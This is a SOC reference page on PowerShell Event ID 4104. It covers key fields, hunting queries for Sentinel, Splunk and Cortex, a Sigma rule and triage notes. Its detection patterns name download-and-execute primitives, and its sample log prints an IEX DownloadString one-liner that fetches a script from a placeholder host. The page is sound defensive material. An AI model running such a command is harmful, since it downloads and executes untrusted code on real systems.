SOC Event Lookup
Event ID 4104PowerShellP1

Windows Event ID 4104: PowerShell Script Block Logging

Applicable version
Windows PowerShell 5.0 and later with Script Block Logging enabled
Last reviewed
2026-07-21

Quick summary

PowerShell Event ID 4104 records script block content and is one of the highest-value Windows telemetry sources for detecting malicious PowerShell execution.

Technical Metadata

Technical metadata for Event ID 4104
Event ID4104
ProviderMicrosoft-Windows-PowerShell
ChannelMicrosoft-Windows-PowerShell/Operational
LevelVerbose
MITRE ATT&CKTA0002 Execution / T1059.001 PowerShell
Key fields to watchScriptBlockText, ScriptBlockId, Path, UserId / HostApplication

Trigger Scenarios

The PowerShell operational log records this event when Script Block Logging is enabled through policy or configuration. Large scripts can be split across multiple events sharing a ScriptBlockId.

Key Fields

ScriptBlockText

The deobfuscated PowerShell content captured by the engine. It exposes commands, functions, URLs, encoded payload handling, and execution logic.

ScriptBlockId

A unique identifier for the script block. Use it to group fragments when a long script is recorded across multiple events.

Path

The script file path when PowerShell knows it. An empty path may indicate interactive or in-memory execution.

UserId / HostApplication

The executing identity and host application context. They help distinguish user activity, scheduled tasks, remote management, and application-hosted PowerShell.

Threat Hunting Queries

Microsoft Sentinel KQL: Suspicious PowerShell script block content
Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational" and EventID == 4104
| where RenderedDescription has_any ("FromBase64String", "DownloadString", "Invoke-Expression", "-EncodedCommand")
| project TimeGenerated, Computer, UserName, RenderedDescription
Data source
Microsoft Sentinel Event table
Assumptions
PowerShell Script Block Logging is enabled and the connector retains RenderedDescription. Long script blocks must be reconstructed by ScriptBlockId and message sequence before final triage.
Query reference
Splunk SPL: Suspicious PowerShell script block content
index=wineventlog source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| search ScriptBlockText IN ("*FromBase64String*", "*DownloadString*", "*Invoke-Expression*", "*-EncodedCommand*")
| table _time, host, UserId, ScriptBlockId, Path, ScriptBlockText
Data source
Splunk PowerShell Operational event data
Assumptions
The Splunk field extraction exposes ScriptBlockText, ScriptBlockId, Path, and UserId from event XML. Script block fragments are reassembled before content is classified.
Cortex XQL: Retrieve PowerShell script-block events
dataset = microsoft_windows_raw
| filter edr_event_id = 4104
Data source
Cortex XDR microsoft_windows_raw
Assumptions
The PowerShell Operational channel is collected into Cortex XDR. Confirm the Microsoft-Windows-PowerShell provider and inspect raw ScriptBlockText because parsed raw-field names can vary by collection path.
Query reference
Sigma rule: Suspicious PowerShell script block primitives
title: Suspicious PowerShell Script Block Primitives
status: experimental
logsource:
    product: windows
    service: powershell
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'FromBase64String'
            - 'DownloadString'
            - 'Invoke-Expression'
    condition: selection
falsepositives:
    - Administrative and security automation using the same APIs
level: medium
tags:
    - attack.execution
    - attack.t1059.001
Data source
Sigma Windows PowerShell log source
Assumptions
The backend maps the powershell service and ScriptBlockText field to Event ID 4104 data. The strings are hunt seeds and require context, not stand-alone proof of malicious execution.
Query reference

Documented Values and Codes

Documented event values and their security relevance
FieldValueMeaningSecurity relevance
EventId4104 / 0x1008PowerShell Script Block Logging event identifier in decimal and hexadecimal form.It selects script content rather than module pipeline execution or engine lifecycle events. Source
LevelVerboseThe documented level for Script Block Logging Event ID 4104.Collectors configured to exclude verbose events can silently lose this high-value telemetry. Source
ScriptBlockLogging policy pathHKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingRegistry policy location documented for enabling Script Block Logging.Confirm this policy and collection coverage before interpreting the absence of Event ID 4104 as an absence of PowerShell execution. Source

MITRE ATT&CK Mapping

  • T1059.001PowerShell

Detection Notes

For T1059.001 and T1027, ScriptBlockText containing FromBase64String plus -EncodedCommand is a concrete encoded-PowerShell chain. Reassemble fragments by ScriptBlockId before triage; a Path under C:\\Users\\ or C:\\ProgramData\\ combined with IEX or DownloadString is materially different from signed automation.

Common False Positives

  • Configuration management, login scripts, and administrative automation can legitimately contain download, remoting, and encoded-content patterns.
  • Security products and management agents may invoke PowerShell with complex scripts at scale.
  • Developer and operations hosts often have more diverse PowerShell activity than user workstations.

Related Events

Sample Log

Sanitized event sample
EventCode: 4104
UserId: CORP\jsmith
ScriptBlockId: 11111111-2222-3333-4444-555555555555
Path: 
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('https://example.invalid/p.ps1')

Frequently Asked Questions

What does PowerShell Event ID 4104 record?

Event ID 4104 records the content of script blocks processed by PowerShell when Script Block Logging is enabled, in the Microsoft-Windows-PowerShell/Operational channel.

Why can one PowerShell script produce multiple Event ID 4104 records?

Large script blocks can be divided across event messages. Analysts should group and order the messages using the script block identifier and sequence fields before evaluating the full content.

Does FromBase64String in Event ID 4104 prove malicious PowerShell?

No. It is a useful encoded-content hunting primitive, but legitimate automation can use it; the surrounding script, user, host application, path, parent process, network activity, and change context determine risk.

Sources